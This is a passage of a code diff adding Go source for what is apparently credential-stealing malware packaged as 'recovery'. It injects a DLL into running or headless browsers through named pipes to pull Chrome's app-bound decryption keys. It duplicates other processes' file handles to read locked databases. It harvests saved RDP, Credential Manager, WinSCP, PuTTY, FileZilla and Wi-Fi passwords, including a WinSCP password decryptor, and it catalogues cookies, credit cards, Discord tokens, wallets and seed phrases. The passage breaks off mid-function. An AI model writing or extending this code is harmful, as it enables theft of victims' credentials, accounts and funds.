procDisconnectNamedPipe.Call(uintptr(hPipe))
windows.CloseHandle(hPipe)
hPipe, err = createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("recreate pipe: %w", err)
}
continue
}
s.hPipe = hPipe
encB64 := base64.StdEncoding.EncodeToString(encBlob)
key, keyErr := s.GetV20Key(browserName, encB64)
s.Close()
return key, keyErr
}
if browserName == "Chrome" {
windows.CloseHandle(hPipe)
tried := len(pids)
if tried > maxTries {
tried = maxTries
}
return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried)
}
logf("existing %s PIDs failed for V20, launching headless process", browserName)
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
if err != nil {
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err)
}
s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000)
if connErr := waitPipeConnect(hPipe, 5000); connErr != nil {
s.Close()
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName)
}
s.hPipe = hPipe
encB64 := base64.StdEncoding.EncodeToString(encBlob)
key, keyErr := s.GetV20Key(browserName, encB64)
s.Close()
return key, keyErr
}
@@ -0,0 +1,44 @@
//go:build !windows
package platform
import (
"errors"
"os/exec"
"strconv"
"strings"
)
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
return nil, errors.New("DLL injection not supported on this platform")
}
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
return nil, errors.New("pipe injection not supported on this platform")
}
func FindProcesses(exeName string) ([]uint32, error) {
if exeName == "" {
return nil, nil
}
out, err := exec.Command("pgrep", "-x", exeName).Output()
if err != nil {
return nil, nil
}
var pids []uint32
for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
line = strings.TrimSpace(line)
if pid, err := strconv.ParseUint(line, 10, 32); err == nil {
pids = append(pids, uint32(pid))
}
}
return pids, nil
}
func BrowserExeName(name string) string {
return ""
}
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
return nil, errors.New("not supported on this platform")
}
@@ -0,0 +1,11 @@
//go:build !windows
package platform
import "os"
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
return os.ReadFile(srcPath)
}
func ResetHandleCache() {}
@@ -0,0 +1,330 @@
//go:build windows
package platform
import (
"fmt"
"os"
"strings"
"sync"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
const (
SystemExtendedHandleInformation = 64
fileTypeDisk2 = 0x0001
pageReadonly2 = 0x02
fileMapRead2 = 0x04
)
type systemHandleInfoEx struct {
NumberOfHandles uintptr
Reserved uintptr
Handles [1]systemHandleEntry
}
type systemHandleEntry struct {
Object uintptr
UniqueProcessId uintptr
HandleValue uintptr
GrantedAccess uint32
CreatorBackTrace uint16
ObjectTypeIndex uint16
HandleAttributes uint32
Reserved uint32
}
type rmUniqueProcess2 struct {
ProcessId uint32
ProcessStartTime syscall.Filetime
}
type rmProcessInfo2 struct {
Process rmUniqueProcess2
AppName [256]uint16
ServiceShortName [64]uint16
ApplicationType uint32
AppStatus uint32
TSSessionId uint32
Restartable int32
}
var (
modNtdll2 = windows.NewLazySystemDLL("ntdll.dll")
procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation")
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx")
procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW")
procMapViewOfFile = modKernel32.NewProc("MapViewOfFile")
procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile")
procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW")
procGetFileType = modKernel32.NewProc("GetFileType")
modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll")
procRmStartSession = modRstrtmgr.NewProc("RmStartSession")
procRmEndSession = modRstrtmgr.NewProc("RmEndSession")
procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources")
procRmGetList = modRstrtmgr.NewProc("RmGetList")
)
var (
handleCacheMu sync.Mutex
handleCacheVal []systemHandleEntry
)
func cachedSystemHandles() ([]systemHandleEntry, error) {
handleCacheMu.Lock()
defer handleCacheMu.Unlock()
if handleCacheVal != nil {
return handleCacheVal, nil
}
h, err := querySystemHandles()
if err != nil {
return nil, err
}
handleCacheVal = h
return h, nil
}
func ResetHandleCache() {
handleCacheMu.Lock()
handleCacheVal = nil
handleCacheMu.Unlock()
}
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
if data, err := os.ReadFile(srcPath); err == nil {
logf("read directly: %s", srcPath)
return data, nil
}
if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 {
pids = mergePIDs(pids, lockPids)
}
if len(pids) > 0 {
if data, err := readViaHandleDuplication(srcPath, pids); err == nil {
logf("read via handle dup: %s", srcPath)
return data, nil
}
}
if ActivePipeSession != nil {
if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 {
logf("read via pipe: %s (%d bytes)", srcPath, len(data))
return data, nil
}
}
return nil, fmt.Errorf("all read methods failed for: %s", srcPath)
}
func mergePIDs(a, b []uint32) []uint32 {
seen := make(map[uint32]struct{}, len(a)+len(b))
for _, p := range a {
seen[p] = struct{}{}
}
result := append([]uint32(nil), a...)
for _, p := range b {
if _, ok := seen[p]; !ok {
result = append(result, p)
seen[p] = struct{}{}
}
}
return result
}
func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) {
handles, err := cachedSystemHandles()
if err != nil {
return nil, err
}
pidSet := make(map[uintptr]struct{}, len(pids))
for _, p := range pids {
pidSet[uintptr(p)] = struct{}{}
}
for _, h := range handles {
if _, ok := pidSet[h.UniqueProcessId]; !ok {
continue
}
hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId))
if err != nil {
continue
}
var dupHandle windows.Handle
err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue),
windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS)
windows.CloseHandle(hProcess)
if err != nil {
continue
}
ft, _, _ := procGetFileType.Call(uintptr(dupHandle))
if ft != fileTypeDisk2 {
windows.CloseHandle(dupHandle)
continue
}
handlePath := getHandlePath(uintptr(dupHandle))
if handlePath == "" || !strings.EqualFold(handlePath, srcPath) {
windows.CloseHandle(dupHandle)
continue
}
data, err := readFileByMapping(dupHandle)
windows.CloseHandle(dupHandle)
if err == nil {
return data, nil
}
}
return nil, fmt.Errorf("handle duplication failed for %s", srcPath)
}
func readFileByMapping(h windows.Handle) ([]byte, error) {
var fileSize int64
ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize)))
if ok == 0 || fileSize <= 0 {
return nil, fmt.Errorf("empty or unreadable file")
}
hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0)
if hMapping == 0 {
return nil, fmt.Errorf("CreateFileMappingW failed")
}
defer windows.CloseHandle(windows.Handle(hMapping))
baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize))
if baseAddr == 0 {
return nil, fmt.Errorf("MapViewOfFile failed")
}
defer procUnmapViewOfFile.Call(baseAddr)
data := make([]byte, fileSize)
copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
return data, nil
}
func querySystemHandles() ([]systemHandleEntry, error) {
bufSize := uint32(1 * 1024 * 1024)
for {
buf := make([]byte, bufSize)
var returnLength uint32
status, _, _ := procNtQuerySystemInformation.Call(
SystemExtendedHandleInformation,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(bufSize),
uintptr(unsafe.Pointer(&returnLength)),
)
if status&0xFFFFFFFF == 0xC0000004 {
bufSize = returnLength + 65536
if bufSize > 256*1024*1024 {
return nil, fmt.Errorf("handle buffer too large")
}
continue
}
if status != 0 {
return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status)
}
info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0]))
count := int(info.NumberOfHandles)
handles := make([]systemHandleEntry, count)
for i := 0; i < count; i++ {
entry := (*systemHandleEntry)(unsafe.Pointer(
uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]),
))
handles[i] = *entry
}
return handles, nil
}
}
func getHandlePath(handle uintptr) string {
buf := make([]uint16, 32768)
n, _, _ := procGetFinalPathNameByHandle.Call(
handle,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)),
0,
)
if n == 0 || n >= uintptr(len(buf)) {
return ""
}
s := syscall.UTF16ToString(buf[:n])
if strings.HasPrefix(s, `\\?\`) {
s = s[4:]
}
return s
}
func getProcessesLockingFile(filePath string) []uint32 {
suffix := filePath
if len(suffix) > 8 {
suffix = suffix[len(suffix)-8:]
}
sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix)
if err != nil {
return nil
}
var sessionHandle uint32
ret, _, _ := procRmStartSession.Call(
uintptr(unsafe.Pointer(&sessionHandle)), 0,
uintptr(unsafe.Pointer(sessionKey)),
)
if ret != 0 {
return nil
}
defer procRmEndSession.Call(uintptr(sessionHandle))
filePathW, err := syscall.UTF16PtrFromString(filePath)
if err != nil {
return nil
}
ret, _, _ = procRmRegisterResources.Call(
uintptr(sessionHandle), 1,
uintptr(unsafe.Pointer(&filePathW)),
0, 0, 0, 0,
)
if ret != 0 {
return nil
}
var needed, count, rebootReason uint32
ret, _, _ = procRmGetList.Call(
uintptr(sessionHandle),
uintptr(unsafe.Pointer(&needed)),
uintptr(unsafe.Pointer(&count)),
0,
uintptr(unsafe.Pointer(&rebootReason)),
)
if ret != 234 || needed == 0 {
return nil
}
infos := make([]rmProcessInfo2, needed)
count = needed
ret, _, _ = procRmGetList.Call(
uintptr(sessionHandle),
uintptr(unsafe.Pointer(&needed)),
uintptr(unsafe.Pointer(&count)),
uintptr(unsafe.Pointer(&infos[0])),
uintptr(unsafe.Pointer(&rebootReason)),
)
if ret != 0 {
return nil
}
pids := make([]uint32, 0, count)
for i := uint32(0); i < count; i++ {
pids = append(pids, infos[i].Process.ProcessId)
}
return pids
}
@@ -0,0 +1,7 @@
package platform
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[platform] "+format, args...)
}
@@ -0,0 +1,293 @@
//go:build windows
package platform
import (
"crypto/rand"
"encoding/hex"
"fmt"
"sync"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
type PipeSession struct {
mu sync.Mutex
hPipe windows.Handle
hProcess windows.Handle
pid uint32
ownsProcess bool
job windows.Handle
closed bool
}
var (
modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll")
procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW")
procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe")
procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe")
)
func createPipeName() string {
b := make([]byte, 8)
rand.Read(b)
return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
}
func createPipeServer(pipeName string) (windows.Handle, error) {
namePtr, err := syscall.UTF16PtrFromString(pipeName)
if err != nil {
return 0, err
}
const (
PIPE_ACCESS_DUPLEX = 0x3
PIPE_TYPE_BYTE = 0x0
PIPE_READMODE_BYTE = 0x0
PIPE_WAIT = 0x0
PIPE_UNLIMITED_INSTANCES = 0xFF
)
r, _, err := procCreateNamedPipeW.Call(
uintptr(unsafe.Pointer(namePtr)),
PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
65536, // output buffer
65536, // input buffer
15000, // timeout ms
0,
)
if r == ^uintptr(0) {
return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
}
return windows.Handle(r), nil
}
func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
if err != nil {
return fmt.Errorf("CreateEvent: %w", err)
}
defer windows.CloseHandle(hEvent)
ov := windows.Overlapped{HEvent: hEvent}
r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
if r != 0 {
return nil // already connected
}
if err == windows.ERROR_PIPE_CONNECTED {
return nil
}
if err != windows.ERROR_IO_PENDING {
return fmt.Errorf("ConnectNamedPipe: %w", err)
}
ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return fmt.Errorf("pipe connect timeout")
}
return nil
}
func (s *PipeSession) pipeSend(data []byte) error {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return fmt.Errorf("pipe session closed")
}
length := uint32(len(data))
lengthBytes := []byte{
byte(length),
byte(length >> 8),
byte(length >> 16),
byte(length >> 24),
}
var written uint32
err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
if err != nil || written != 4 {
return fmt.Errorf("write length: %w", err)
}
if length > 0 {
var totalWritten uint32
for totalWritten < length {
var n uint32
err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
if err != nil || n == 0 {
return fmt.Errorf("write data: %w", err)
}
totalWritten += n
}
}
return nil
}
func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return 0, nil, fmt.Errorf("pipe session closed")
}
var lengthBuf [4]byte
var totalRead uint32
deadline := time.Now().Add(10 * time.Second)
for totalRead < 4 {
if time.Now().After(deadline) {
return 0, nil, fmt.Errorf("pipe recv timeout")
}
var avail uint32
r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
if r == 0 {
return 0, nil, fmt.Errorf("PeekNamedPipe failed")
}
if avail < 4-totalRead {
time.Sleep(50 * time.Millisecond)
continue
}
var n uint32
err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read length: %w", err)
}
totalRead += n
}
totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
if totalLen < 1 || totalLen > 100*1024*1024 {
return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
}
buf := make([]byte, totalLen)
totalRead = 0
for totalRead < totalLen {
var n uint32
err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
if err != nil || n == 0 {
return 0, nil, fmt.Errorf("read data: %w", err)
}
totalRead += n
}
status = buf[0]
data = buf[1:]
return status, data, nil
}
func (s *PipeSession) Close() {
s.mu.Lock()
defer s.mu.Unlock()
if s.closed {
return
}
s.closed = true
s.sendExitLocked()
time.Sleep(100 * time.Millisecond)
procDisconnectNamedPipe.Call(uintptr(s.hPipe))
windows.CloseHandle(s.hPipe)
if s.ownsProcess && s.hProcess != 0 {
if s.job != 0 {
windows.CloseHandle(s.job)
s.job = 0
}
windows.TerminateProcess(s.hProcess, 0)
windows.WaitForSingleObject(s.hProcess, 3000)
windows.CloseHandle(s.hProcess)
} else if s.hProcess != 0 {
windows.CloseHandle(s.hProcess)
}
}
func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
h := s.hProcess
if h == 0 {
return
}
go func() {
ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
if ret != uintptr(windows.WAIT_OBJECT_0) {
return
}
s.mu.Lock()
wasClosed := s.closed
s.mu.Unlock()
if wasClosed {
return
}
var code uint32
if err := windows.GetExitCodeProcess(h, &code); err != nil {
return
}
logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
}()
}
func (s *PipeSession) sendExitLocked() {
exitCmd := []byte("EXIT")
length := uint32(len(exitCmd))
lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
windows.WriteFile(s.hPipe, exitCmd, nil, nil)
}
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send KEY command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv KEY response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("decrypt failed: %s", string(data))
}
return data, nil
}
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
cmd := fmt.Sprintf("READ:%s", path)
if err := s.pipeSend([]byte(cmd)); err != nil {
return nil, fmt.Errorf("send READ command: %w", err)
}
status, data, err := s.pipeRecv()
if err != nil {
return nil, fmt.Errorf("recv READ response: %w", err)
}
if status != 0 {
return nil, fmt.Errorf("read failed: %s", string(data))
}
return data, nil
}
var ActivePipeSession *PipeSession
@@ -0,0 +1,21 @@
//go:build !windows
package platform
import (
"errors"
)
type PipeSession struct{}
var ActivePipeSession *PipeSession
func (s *PipeSession) Close() {}
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
return nil, errors.New("not supported")
}
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
return nil, errors.New("not supported")
}
@@ -0,0 +1,60 @@
package recovery
import (
"recovery/recovery/fingerprint"
"recovery/recovery/scanner"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type CollectOptions = types.CollectOptions
type CollectionResult = types.CollectionResult
type Payload = types.Payload
type BrowserConfig = types.BrowserConfig
type ProfileInfo = types.ProfileInfo
type ResolvedKeys = types.ResolvedKeys
type PasswordResult = types.PasswordResult
type CookieResult = types.CookieResult
type AutofillResult = types.AutofillResult
type HistoryResult = types.HistoryResult
type BookmarkResult = types.BookmarkResult
type CreditCardResult = types.CreditCardResult
type DiscordTokenResult = types.DiscordTokenResult
type FileResult = types.FileResult
type ExtensionResult = types.ExtensionResult
type WalletResult = types.WalletResult
type TelegramResult = types.TelegramResult
type KeyResult = types.KeyResult
type SeedResult = types.SeedResult
type AppCredentialResult = types.AppCredentialResult
type GamingResult = types.GamingResult
type SteamResult = types.SteamResult
type SteamTokenResult = types.SteamTokenResult
type GameInfo = types.GameInfo
type BattleNetResult = types.BattleNetResult
type EpicResult = types.EpicResult
type RiotResult = types.RiotResult
type UplayResult = types.UplayResult
type VPNResult = types.VPNResult
type NordVPNResult = types.NordVPNResult
type WireGuardResult = types.WireGuardResult
type OpenVPNResult = types.OpenVPNResult
type MullvadResult = types.MullvadResult
type FingerprintResult = fingerprint.Result
type FingerprintJSResult = fingerprint.JSResult
func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() }
func ScanFiles() []FileResult { return scanner.ScanFiles() }
func ScanWallets() []WalletResult { return scanner.ScanWallets() }
func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() }
func ScanKeys() []KeyResult { return scanner.ScanKeys() }
func ScanApps() []AppCredentialResult { return scanner.ScanApps() }
func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) }
func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) }
func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) }
func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() }
func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() }
func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult {
return scanner.ScanSeeds(files, passwords, autofill)
}
@@ -0,0 +1,137 @@
//go:build !windows
package scanner
import (
"encoding/xml"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
func ScanApps() []types.AppCredentialResult {
var results []types.AppCredentialResult
results = append(results, scanFileZillaUnix()...)
if runtime.GOOS == "darwin" {
results = append(results, scanWiFiDarwin()...)
}
return results
}
type fzServerUnix struct {
XMLName xml.Name `xml:"Server"`
Host string `xml:"Host"`
Port int `xml:"Port"`
Protocol int `xml:"Protocol"`
User string `xml:"User"`
Pass string `xml:"Pass"`
}
type fzSiteManagerUnix struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServerUnix `xml:"Servers>Server"`
}
type fzRecentServersUnix struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServerUnix `xml:"RecentServers>Server"`
}
func scanFileZillaUnix() []types.AppCredentialResult {
var results []types.AppCredentialResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
fzDir := filepath.Join(home, ".config", "filezilla")
if runtime.GOOS == "darwin" {
fzDir = filepath.Join(home, ".config", "filezilla")
}
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
path := filepath.Join(fzDir, file)
data, err := os.ReadFile(path)
if err != nil {
continue
}
var servers []fzServerUnix
if file == "sitemanager.xml" {
var sm fzSiteManagerUnix
if xml.Unmarshal(data, &sm) == nil {
servers = sm.Servers
}
} else {
var rs fzRecentServersUnix
if xml.Unmarshal(data, &rs) == nil {
servers = rs.Servers
}
}
for _, s := range servers {
if s.Host == "" {
continue
}
port := s.Port
if port == 0 {
port = 21
}
protocol := "ftp"
switch s.Protocol {
case 1:
protocol = "sftp"
case 3, 4:
protocol = "ftps"
}
results = append(results, types.AppCredentialResult{
Application: "FileZilla",
Host: s.Host,
Port: port,
Username: s.User,
Password: s.Pass,
Protocol: protocol,
})
}
}
return results
}
func scanWiFiDarwin() []types.AppCredentialResult {
var results []types.AppCredentialResult
out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output()
if err != nil {
return nil
}
var networks []string
for _, line := range strings.Split(string(out), "\n") {
name := strings.TrimSpace(line)
if name == "" || strings.HasPrefix(name, "Preferred networks") {
continue
}
networks = append(networks, name)
}
for _, name := range networks {
pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output()
password := ""
if err == nil {
password = strings.TrimSpace(string(pw))
}
results = append(results, types.AppCredentialResult{
Application: "WiFi",
Host: name,
Password: password,
Protocol: "wifi",
})
}
return results
}
@@ -0,0 +1,614 @@
//go:build windows
package scanner
import (
"encoding/xml"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"recovery/recovery/types"
)
var (
advapi32 = syscall.NewLazyDLL("advapi32.dll")
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
procCredFree = advapi32.NewProc("CredFree")
)
const (
credTypeGeneric = 1
credTypeDomainPassword = 2
credTypeDomainCertificate = 3
)
type winCredential struct {
Flags uint32
Type uint32
TargetName *uint16
Comment *uint16
LastWritten syscall.Filetime
CredentialBlobSize uint32
CredentialBlob *byte
Persist uint32
AttributeCount uint32
Attributes uintptr
TargetAlias *uint16
UserName *uint16
}
func ScanApps() []types.AppCredentialResult {
var results []types.AppCredentialResult
results = append(results, scanRDP()...)
results = append(results, scanWinSCP()...)
results = append(results, scanPuTTY()...)
results = append(results, scanFileZilla()...)
results = append(results, scanCredentialManager()...)
results = append(results, scanWiFi()...)
return results
}
// ── RDP ────────────────────────────────────────────────────────────────
func scanRDP() []types.AppCredentialResult {
var results []types.AppCredentialResult
// Registry: saved connection history with usernames
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err == nil {
defer k.Close()
servers, _ := k.ReadSubKeyNames(-1)
for _, server := range servers {
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
if err != nil {
continue
}
username, _, _ := sk.GetStringValue("UsernameHint")
sk.Close()
r := types.AppCredentialResult{
Application: "RDP",
Host: server,
Port: 3389,
Username: username,
Protocol: "rdp",
}
// Try to get the password from Credential Manager
pw := credManagerLookup("TERMSRV/" + server)
if pw != "" {
r.Password = pw
}
results = append(results, r)
}
}
// Also scan Credential Manager for TERMSRV/* entries not in the registry
creds := enumCredentials()
seen := make(map[string]bool)
for _, r := range results {
seen[strings.ToLower(r.Host)] = true
}
for _, c := range creds {
target := strings.ToLower(c.target)
if !strings.HasPrefix(target, "termsrv/") {
continue
}
host := c.target[len("TERMSRV/"):]
if seen[strings.ToLower(host)] {
continue
}
results = append(results, types.AppCredentialResult{
Application: "RDP",
Host: host,
Port: 3389,
Username: c.username,
Password: c.password,
Protocol: "rdp",
})
}
// Scan for .rdp files
results = append(results, scanRDPFiles()...)
return results
}
func scanRDPFiles() []types.AppCredentialResult {
var results []types.AppCredentialResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
dirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range dirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
continue
}
path := filepath.Join(dir, e.Name())
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
continue
}
r := parseRDPFile(string(data))
if r.Host != "" {
r.Extra = path
results = append(results, r)
}
}
}
return results
}
func parseRDPFile(content string) types.AppCredentialResult {
r := types.AppCredentialResult{
Application: "RDP",
Protocol: "rdp",
Port: 3389,
}
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
parts := strings.SplitN(line, ":", 3)
if len(parts) < 3 {
continue
}
key := strings.ToLower(strings.TrimSpace(parts[0]))
val := strings.TrimSpace(parts[2])
switch key {
case "full address":
if idx := strings.LastIndex(val, ":"); idx > 0 {
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
r.Host = val[:idx]
r.Port = p
continue
}
}
r.Host = val
case "username":
r.Username = val
case "server port":
if p, err := strconv.Atoi(val); err == nil {
r.Port = p
}
}
}
return r
}
// ── WinSCP ─────────────────────────────────────────────────────────────
func scanWinSCP() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
encPassword, _, _ := sk.GetStringValue("Password")
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
protocol := "sftp"
switch fsProtocol {
case 0:
protocol = "sftp"
case 5:
protocol = "ftp"
case 1:
protocol = "scp"
}
password := ""
if encPassword != "" {
password = decryptWinSCPPassword(encPassword, hostname, username)
}
results = append(results, types.AppCredentialResult{
Application: "WinSCP",
Host: hostname,
Port: port,
Username: username,
Password: password,
Protocol: protocol,
})
}
return results
}
func decryptWinSCPPassword(hex, hostname, username string) string {
key := username + hostname
decNextChar := func(s string, idx int) (byte, int) {
if idx+2 > len(s) {
return 0, idx + 2
}
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
if err1 != nil || err2 != nil {
return 0, idx + 2
}
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
}
idx := 0
flag, idx := decNextChar(hex, idx)
if flag == 0xFF {
return ""
}
_, idx = decNextChar(hex, idx) // skip unused byte
length, idx := decNextChar(hex, idx)
delLen, idx := decNextChar(hex, idx)
for i := 0; i < int(delLen); i++ {
_, idx = decNextChar(hex, idx)
}
raw := make([]byte, 0, int(length))
for i := 0; i < int(length); i++ {
c, newIdx := decNextChar(hex, idx)
idx = newIdx
raw = append(raw, c)
}
if len(key) > 0 {
decrypted := make([]byte, len(raw))
for i, c := range raw {
decrypted[i] = c ^ key[i%len(key)]
}
return string(decrypted)
}
return string(raw)
}
// ── PuTTY ──────────────────────────────────────────────────────────────
func scanPuTTY() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
protocol, _, _ := sk.GetStringValue("Protocol")
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
if protocol == "" {
protocol = "ssh"
}
extra := ""
if keyFile != "" || proxyHost != "" {
parts := []string{}
if keyFile != "" {
parts = append(parts, "key:"+keyFile)
}
if proxyHost != "" {
